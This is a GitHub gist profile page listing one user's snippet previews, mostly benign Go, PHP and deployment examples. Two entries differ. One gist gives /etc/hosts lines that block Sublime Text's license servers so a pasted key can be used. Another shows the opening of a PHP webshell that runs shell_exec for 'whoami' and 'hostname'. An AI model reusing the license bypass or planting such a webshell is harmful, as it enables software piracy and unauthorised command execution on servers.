Skip to content

Instantly share code, notes, and snippets.

View wattanar's full-sized avatar

Wattana Ruengmucha wattanar

View GitHub Profile
@wattanar
wattanar / LICENCE SUBLIME TEXT
Created October 17, 2018 14:07
Sublime Text 3 Serial key build is 3176
## Sublime Text 3 Serial key build is 3176
> * Added these lines into /etc/hosts
127.0.0.1 www.sublimetext.com
127.0.0.1 license.sublimehq.com
> * Used the license key
----- BEGIN LICENSE -----
@wattanar
wattanar / gh-pages-deploy.md
Created June 5, 2017 08:26 — forked from cobyism/gh-pages-deploy.md
Deploy to `gh-pages` from a `dist` folder on the master branch. Useful for use with [yeoman](http://yeoman.io).

Deploying a subfolder to GitHub Pages

Sometimes you want to have a subdirectory on the master branch be the root directory of a repository’s gh-pages branch. This is useful for things like sites developed with Yeoman, or if you have a Jekyll site contained in the master branch alongside the rest of your code.

For the sake of this example, let’s pretend the subfolder containing your site is named dist.

Step 1

Remove the dist directory from the project’s .gitignore file (it’s ignored by default by Yeoman).

@wattanar
wattanar / webshell.php
Last active March 9, 2017 07:14 — forked from RyanKung/webshell.php
a simple webshell
<?php session_start(); ?>
<?php
if (empty($_SESSION['path'])) {
$_SESSION['user'] = shell_exec('whoami');
$_SESSION['host'] = shell_exec('hostname');
$_SESSION['path'] = dirname(__FILE__);
}
function showInfo($cmd) {
if (isset($cmd)) {
@wattanar
wattanar / php-html-css-js-minifier.php
Created February 3, 2016 07:00 — forked from taufik-nurrohman/php-html-css-js-minifier.php
PHP Function to Minify HTML, CSS and JavaScript
<?php
/**
* -----------------------------------------------------------------------------------------
* Based on `https://github.com/mecha-cms/mecha-cms/blob/master/system/kernel/converter.php`
* -----------------------------------------------------------------------------------------
*/
// HTML Minifier
function minify_html($input) {
@wattanar
wattanar / goth_auth.go
Created January 27, 2016 04:50 — forked from paked/goth_auth.go
Basic OAuth with goth in golang.
package main
import (
"flag"
"fmt"
"net/http"
"github.com/gorilla/mux"
"github.com/markbates/goth"
"github.com/markbates/goth/gothic"
package main
import (
"fmt"
"log"
"flag"
"net/http"
@wattanar
wattanar / read_line.go
Created January 23, 2016 07:45 — forked from kendellfab/read_line.go
Golang --> Read file line by line.
func readLine(path string) {
inFile, _ := os.Open(path)
defer inFile.Close()
scanner := bufio.NewScanner(inFile)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
fmt.Println(scanner.Text())
}
}
@wattanar
wattanar / cookie.go
Created January 20, 2016 15:06 — forked from liubin/cookie.go
display cookie in go lang
@wattanar
wattanar / sendMail.go
Created January 17, 2016 17:19 — forked from andelf/sendMail.go
golang send mail net/smtp SMTP
package main
import (
"log"
"net/mail"
"encoding/base64"
"net/smtp"
"fmt"
"strings"